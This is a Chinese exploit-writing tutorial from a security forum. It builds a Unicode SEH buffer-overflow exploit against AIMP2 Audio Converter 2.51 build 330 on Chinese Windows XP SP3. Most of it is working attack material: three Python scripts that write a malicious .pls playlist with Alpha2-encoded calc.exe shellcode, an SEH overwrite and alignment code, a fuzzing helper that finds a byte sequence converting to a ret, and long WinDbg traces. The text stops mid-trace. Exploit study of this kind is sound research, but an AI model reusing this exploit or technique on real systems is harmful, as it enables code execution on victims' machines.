标题:对《编写unicode exploit》一文的补充之二
作者:wingdbg
主页:http://wingdbg.blog.com/
《编写Unicode Exploit》原文地址:http://bbs.pediy.com/showthread.php?t=120637
《编写unicode exploit一文的补充之一》(by riusksk(泉哥)):http://bbs.pediy.com/showthread.php?t=121281
一、背景
在学习完泉哥翻译的《Exploit 编写系列教程第七篇:编写Unicode Exploit》之后,又学习了泉哥补充的《编写unicode exploit一文的补充》,在教程中所给的两个例子中,泉哥通过第一个漏洞实例( Xion Audio Player 1.0 build 121) 说明ret(hex: C3)指令在经过Unicode拷贝之后,不会变成C300。(参见https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
泉哥在补充一文中发现这是由于原作者在实验时采用xp sp3 en版本的系统,unicode codepage / language/regional settings 的不同,直接导致我们在自己的中文 XP SP3机器上转换时,C3无法转换为C300,从而导致溢出payload的失败。
二、目的
笔者认为在中文XP SP3上机器由ASCII转化成UNICODE的结果,并不简简单单是由于unicode codepage / language/regional settings 的不同。字符的转化还跟字符所在字符串有关系。
在此种假设之下,也许我们通过输入不同类型的字符串,会导致转换后的结果有出现C3的可能,从而导致我们跳转到Unicode Shellcode成功。
如果我们实验成功,我们可以进一步探讨ASCII字符(从'\x00'到'\xFF')在XP SP3 cn中文机器上到底是如何转换成为Unicode的。是什么原因直接导致了它和英文系统转换对应的不同。同时,也是对Unicode Exploit的一种补充。
三、实验
实验环境:
XP SP3 pro 中文版
WinDbg 6.12.2.633 X86(http://download.csdn.net/source/2519777)
Immunity Debugger 1.73(www.shandongkv.com/123/ImmunityDebugger_setup1.73.rar)
pvefindaddr插件(www.shandongkv.com/123/pvefindaddr.rar)
漏洞软件:
AIMP2 Audio Converter 2.51 build 330(www.shandongkv.com/123/aimp_2.51.330.zip)
闲话少说,看代码:
#-------------------------------------------------------------------------------
# Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出
# Purpose: study unicode stack vulnerability
#
# Author: wingdbg
#
# Created: 09-12-2010
# Copyright: (c) wingdbg 2010
# Licence: <wingdbg@gmail.com>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
def main():
header = '[playlist]\nNumberOfEntries=1\n\n'
header = header + 'File1='
junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode
#calc.exe
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
shellcode += "QQ2LRCM0LJA"
moreJunk = 'A' * (4037 - len(junk + shellcode))
nSEH = '\x61\x62' #---0x00340012
SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret
preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH
preShell += '\x57' #push edi
preShell += '\x6e'
preShell += '\x58' #pop eax
preShell += '\x6e'
preShell += '\x05\x16\x11' #add eax, 0x011001600
preShell += '\x6e'
preShell += '\x2d\x11\x11' # sub eax,0x11001100
preShell += '\x6e'
preShell += '\x50' #push eax
preShell += '\x6e'
preShell += '[COLOR="Red"]\xC3[/COLOR]' #ret
[COLOR="Yellow"]dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless[/COLOR]
payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n'
o_file = open('aimp2sploit.pls','w')
o_file.write(payload)
o_file.close()
if __name__ == '__main__':
main()
和泉哥在补充一中所讲的问题一样,代码中红色标记的'\xC3'在转化成Unicode时并没有像我们预想的那样转化成为'\xC3\x00'。如WinDbg调试器下的情况:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001b5668 ebx=00000000 ecx=001a4220 edx=00000ebf esi=001a421e edi=00130000
eip=00453020 esp=0012dcac ebp=0012dd64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll -
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0x3c:
00453020 66ab stos word ptr es:[edi] es:0023:00130000=6341
0:000> !exchain
0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034)
Invalid exception stack at 00620061
0:000> d 0012fda0
0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X.
0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-.....
0012fdc0 6e 00 50 00 6e 00 [COLOR="Red"]81 80[/COLOR]-41 00 41 00 41 00 41 00 n.P.n...A.A.A.A.
0012fdd0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fde0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fdf0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fe00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fe10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
细心的读者也许已经发现,‘C3’并没有像泉哥在补充一中所说的那样,变成‘8880’。在本例构造的payload中,它已然变成了‘8180’(代码中红色标记)。这说明,我们的假设很可能是成立的。
如果我们任其走下去,通过SEH的pop|pop|ret运行到nSEH,最后想跳转到我们通过Alpha2编码的shellcode是不可能的。看WinDbg调试情况:
0:000> bp 00460034
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000
eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc:
00460034 59 pop ecx
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460035 esp=0012d8e0 ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fd:
00460035 5d pop ebp
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460036 esp=0012d8e4 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fe:
00460036 c3 ret
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=0012fda0 esp=0012d8e8 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012fda0 61 popad
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda1 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012fda1 006200 add byte ptr [edx],ah ds:0023:0012d9ac=64
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda4 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fda4 3400 xor al,0
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda6 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fda6 46 inc esi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fda7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012fda7 006e00 add byte ptr [esi],ch ds:0023:0012d999=b1
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdaa esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fdaa 57 push edi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdab esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fdab 006e00 add byte ptr [esi],ch ds:0023:0012d999=e3
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdae esp=0012d904 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fdae 58 pop eax
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdaf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fdaf 006e00 add byte ptr [esi],ch ds:0023:0012d999=15
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb2 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012fdb2 0500160011 add eax,offset bass+0x1600 (11001600)
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdb7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdb7 006e00 add byte ptr [esi],ch ds:0023:0012d999=47
0:000> t
eax=1112efe0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdba esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdba 2d00110011 sub eax,offset bass+0x1100 (11001100)
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdbf esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
0012fdbf 006e00 add byte ptr [esi],ch ds:0023:0012d999=79
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc2 esp=0012d908 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82
0012fdc2 50 push eax
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc3 esp=0012d904 ebp=0012fda0 iopl=0 ov up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200a82
0012fdc3 006e00 add byte ptr [esi],ch ds:0023:0012d999=ab
0:000> t
eax=0012dee0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdc6 esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200286
0012fdc6 81804100410041004100 [COLOR="Red"]add dword ptr image00400000+0x10041 (00410041)[eax],offset image00400000+0x10041 (00410041) ds:0023:0053df21=fc858b2a[/COLOR]
盼望的ret指令并没有出现,而是出现了由81804100410041004100反汇编而成的怪诞指令。真是郁闷啊。
这时我们自然想按照泉哥在补充一中的方法,不通过跳转,而是通过一系列没有负面影响的指令最终“走”到shellcode。可是读者观察我们的payload代码可以发现,SEH后面允许加的字符长度是有限的(见黄色标记部分)。这就杯具了,只有281个字符可用(如果再多,读者可以测试,直接截断,根本没有拷贝进来)。由于我们shellcode是通过Alpha2编码的,从而保证转化成Unicode后能够正常执行,所以长度不可避免的可能超过这个。(当然,有牛牛真写出来小于281字符我也拜服
)
这可怎么办呢,只好把shellcode放在nSEH之前的一堆junk里面(差不多4000个字符长度呢)。可是问题又来了,push eax| ret式的跳转我们是没法用的啊,为啥,因为C3无法正常转换
!
这时我们开始想,汇编里面都有哪些可以实现跳转的代码指令呢。我所知道的,如下:
FFE?: jmp e?x
C2???: retn ???
C3: retn
……
看来我们不得不尝试我们事先的假设,通过构造一系列的字符串,查看转换后的字符串中是否有上面的二进制串。如果我们找到了,哪怕它前面有一些不相干的指令,只要没有副作用,我们就成功啦。现在我们编写测试payload的代码:
#-------------------------------------------------------------------------------
# Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出
# Purpose: study unicode stack vulnerability
#
# Author: wingdbg
#
# Created: 09-12-2010
# Copyright: (c) wingdbg 2010
# Licence: <wingdbg@gmail.com>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
[COLOR="red"]def buildstr():[/COLOR]
i = 0x70
j = 0x70
string = chr(i) + chr(j)
while i < 0xff:
j = 0x70
while j <0xff:
j = j + 1
string = string + chr(i) + chr(j)
i = i +1
return string
def main():
header = '[playlist]\nNumberOfEntries=1\n\n'
header = header + 'File1='
junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode
#calc.exe
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
shellcode += "QQ2LRCM0LJA"
moreJunk = 'A' * (4037 - len(junk + shellcode))
nSEH = '\x61\x62' #---0x00340012
SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret
preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH
preShell += '\x57' #push edi
preShell += '\x6e'
preShell += '\x58' #pop eax
preShell += '\x6e'
preShell += '\x05\x16\x11' #add eax, 0x011001600
preShell += '\x6e'
preShell += '\x2d\x11\x11' # sub eax,0x11001100
preShell += '\x6e'
preShell += '\x50' #push eax
preShell += '\x6e'
[COLOR="Yellow"]# preShell += '\xC3' #ret[/COLOR]
# dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless
[COLOR="Red"] dump0 = buildstr();
dump = dump0[0:282][/COLOR] #接下来可以为[282:282*2]……
payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n'
o_file = open('aimp2sploit.pls','w')
o_file.write(payload)
o_file.close()
if __name__ == '__main__':
main()
稍微解释一下,这个程序无非就是尝试尽可能多的字符串,然后查找有无可能存在跳转指令对应的二进制。基于我们的假设,我们认为转换Unicode不仅仅诸如codepage之类的系统参数有关,也跟特定字符所在的整个字符串有关。而且通过泉哥的补充一我们已经知道,'\x7F'之后转换就开始不规则了,那么我们就拼凑字符串,从'\x70'开始,让其最终成为"\x70\x70\x70\x71\x70\x72...\x70\xFE\x70\xFF\x71\x70\x71\x71\x72...\x71\xFF......\xFF\x70\xFF\x71...\xFF\xFE\xFF\xFF"这样的字符串。我们按照282长度(我们把最后的'C3'去掉了,如黄色部分所示)把它分成若干子串,让其代替dump(如第二个红色部分所示),看其转化,搜索可能存在的跳转指令二进制。最终,我们在字符串区间[562:843]发现转化后出现了我们需要的东西:
C3! (payload文件下载:
aimp2sploit.rar)
看WinDbg:
(71c.8bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0015beb0 ebx=00002000 ecx=0000000e edx=0012fdc4 esi=0071006a edi=0000001b
eip=770f48a4 esp=0012dd64 ebp=0012dd68 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
oleaut32!SysFreeString+0x45:
770f48a4 8b0e mov ecx,dword ptr [esi] ds:0023:0071006a=????????
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll -
0:000> !exchain
0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034)
Invalid exception stack at 00620061
0:000> d 0012fda0
0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X.
0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-.....
0012fdc0 6e 00 [COLOR="Yellow"]50 00 [/COLOR]74 e0 1b 00-d4 9d 6e 9e f4 9e 6b 9f n.P.t.....n...k.
0012fdd0 36 e8 f5 f8 72 00 71 00-72 00 72 00 72 00 73 00 6...r.q.r.r.r.s.
0012fde0 72 00 74 00 72 00 75 00-72 00 76 00 72 00 77 00 r.t.r.u.r.v.r.w.
0012fdf0 72 00 78 00 72 00 79 00-72 00 7a 00 72 00 7b 00 r.x.r.y.r.z.r.{.
0012fe00 72 00 7c 00 72 00 7d 00-72 00 7e 00 72 00 7f 00 r.|.r.}.r.~.r...
0012fe10 72 00 ac 20 72 00 7a 4e-fd 4f f9 50 45 52 79 53 r.. r.zN.O.PERyS
0:000> s 0012fe10 L100 C3
0012fea6 [COLOR="Red"]c3[/COLOR] 84 46 85 c3 85 32 86-c2 86 66 87 eb 87 66 88 ..F...2...f...f.
0012feaa [COLOR="Red"]c3[/COLOR] 85 32 86 c2 86 66 87-eb 87 66 88 f7 88 6f 89 ..2...f...f...o.
红色部分表明,我们构造的字符串最终出现了C3
(如代码中红色部分),这给我们带来了极大的希望,我们现在所想的是,尽量减少它和preShell结尾的距离,最好是50 00(如代码中黄色部分) 之后直接是C3 ?? ??。那样就大功告成啦!
在不断对构造字符串进行调整(从字符串头部小心翼翼的删除,逐渐靠近转换后的C3)之后,我们最终发现,‘\x72\xcb\x72’会转换成'\x72\x00\xc3\x85\x41\x00'。OK,我们重新修改payload构造代码:
#-------------------------------------------------------------------------------
# Name: AIMP2 Audio Converter 2.51 build 330 Unicode缓冲区溢出 final
# Purpose: study unicode stack vulnerability
#
# Author: wingdbg
#
# Created: 10-12-2010
# Copyright: (c) wingdbg 2010
# Licence: <wingdbg@gmail.com>
#-------------------------------------------------------------------------------
#!/usr/bin/env python
def main():
header = '[playlist]\nNumberOfEntries=1\n\n'
header = header + 'File1='
junk = 'A' * 101 # this make sure that after SEH is executed as commands, EDI+0x500 points to shellcode
#calc.exe
shellcode = "PPYAIAIAIAIAQATAXAZAPA3QADAZA"
shellcode += "BARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA"
shellcode += "58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABAB"
shellcode += "AB30APB944JBKLK8U9M0M0KPS0U99UNQ8RS44KPR004K"
shellcode += "22LLDKR2MD4KCBMXLOGG0JO6NQKOP1WPVLOLQQCLM2NL"
shellcode += "MPGQ8OLMM197K2ZP22B7TK0RLPTK12OLM1Z04KOPBX55"
shellcode += "Y0D4OZKQXP0P4KOXMHTKR8MPKQJ3ISOL19TKNTTKM18V"
shellcode += "NQKONQ90***Q8OLMKQY7NXK0T5L4M33MKHOKSMND45JB"
shellcode += "R84K0XMTKQHSBFTKLL0KTK28MLM18S4KKT4KKQXPSYOT"
shellcode += "NDMTQKQK311IQJPQKOYPQHQOPZTKLRZKSVQM2JKQTMSU"
shellcode += "89KPKPKP0PQX014K2O4GKOHU7KIPMMNJLJQXEVDU7MEM"
shellcode += "KOHUOLKVCLLJSPKKIPT5LEGKQ7N33BRO1ZKP23KOYERC"
shellcode += "QQ2LRCM0LJA"
moreJunk = 'A' * (4037 - len(junk + shellcode))
nSEH = '\x61\x62' #---0x00340012
SEH = '\x34\x46' #---0x00460034 X:\Program Files\AIMP2\AIMP2.dll pop ecx - pop ebp - ret
preShell = '\x6e' #废指令 ADD BYTE PTR DS:[ESI],CH
preShell += '\x57' #push edi
preShell += '\x6e'
preShell += '\x58' #pop eax
preShell += '\x6e'
preShell += '\x05\x16\x11' #add eax, 0x011001600
preShell += '\x6e'
preShell += '\x2d\x11\x11' # sub eax,0x11001100
preShell += '\x6e'
preShell += '\x50' #push eax
preShell += '\x6e'
[COLOR="Red"]preShell += '\x72\xcb\x72' #ret 转换成'\x72\x00\xc3\x85\x41\x00'[/COLOR]
dump ='\x41' * (297- len(preShell)) #---dump that is longer is useless
payload = header + junk + shellcode + moreJunk + nSEH + SEH + preShell + dump +'\n'
o_file = open('aimp2sploit.pls','w')
o_file.write(payload)
o_file.close()
if __name__ == '__main__':
main()
代码红色部分是关键,它替换了之前的'\xC3'。我们运行Python代码,生成播放文件,用WinDbg调试,如下:
(c74.708): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001b5668 ebx=00000000 ecx=001a4220 edx=00000ebf esi=001a421e edi=00130000
eip=00453020 esp=0012dcac ebp=0012dd64 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
*** WARNING: Unable to verify checksum for C:\Program Files\AIMP2\AIMP2.dll
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\AIMP2\AIMP2.dll -
AIMP2!SysutilsWideFormatBuf$qqrpvuipxvuipx14SystemTVarRecxi+0x3c:
00453020 66ab stos word ptr es:[edi] es:0023:00130000=6341
0:000> !exchain
0012fda0: AIMP2!VariantsVarToInteger$qqrrx8TVarData+4fc (00460034)
Invalid exception stack at 00620061
0:000> d 0012fda0
0012fda0 61 00 62 00 34 00 46 00-6e 00 57 00 6e 00 58 00 a.b.4.F.n.W.n.X.
0012fdb0 6e 00 05 00 16 00 11 00-6e 00 2d 00 11 00 11 00 n.......n.-.....
0012fdc0 6e 00 50 00 6e 00 [COLOR="Red"]72 00-c3 85 41 00[/COLOR] 41 00 41 00 n.P.n.r...A.A.A.
0012fdd0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fde0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fdf0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fe00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0012fe10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.
0:000> bp 00460034
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000
eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc:
00460034 59 pop ecx
0:000> t
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00460034 edx=7c9232bc esi=00000000 edi=00000000
eip=00460034 esp=0012d8dc ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fc:
00460034 59 pop ecx
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460035 esp=0012d8e0 ebp=0012d8fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fd:
00460035 5d pop ebp
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=00460036 esp=0012d8e4 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
AIMP2!VariantsVarToInteger$qqrrx8TVarData+0x4fe:
00460036 c3 ret
0:000> t
eax=00000000 ebx=00000000 ecx=7c9232a8 edx=7c9232bc esi=00000000 edi=00000000
eip=0012fda0 esp=0012d8e8 ebp=0012d9c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012fda0 61 popad
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda1 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
0012fda1 006200 add byte ptr [edx],ah ds:0023:0012d9ac=64
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda4 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fda4 3400 xor al,0
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d998 edi=0012d9e0
eip=0012fda6 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fda6 46 inc esi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fda7 esp=0012d908 ebp=0012fda0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
0012fda7 006e00 add byte ptr [esi],ch ds:0023:0012d999=b1
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdaa esp=0012d908 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fdaa 57 push edi
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdab esp=0012d904 ebp=0012fda0 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200282
0012fdab 006e00 add byte ptr [esi],ch ds:0023:0012d999=e3
0:000> t
eax=0012d9c4 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
eip=0012fdae esp=0012d904 ebp=0012fda0 iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
0012fdae 58 pop eax
0:000> t
eax=0012d9e0 ebx=0012fda0 ecx=7c92327a edx=0012d9ac esi=0012d999 edi=0012d9e0
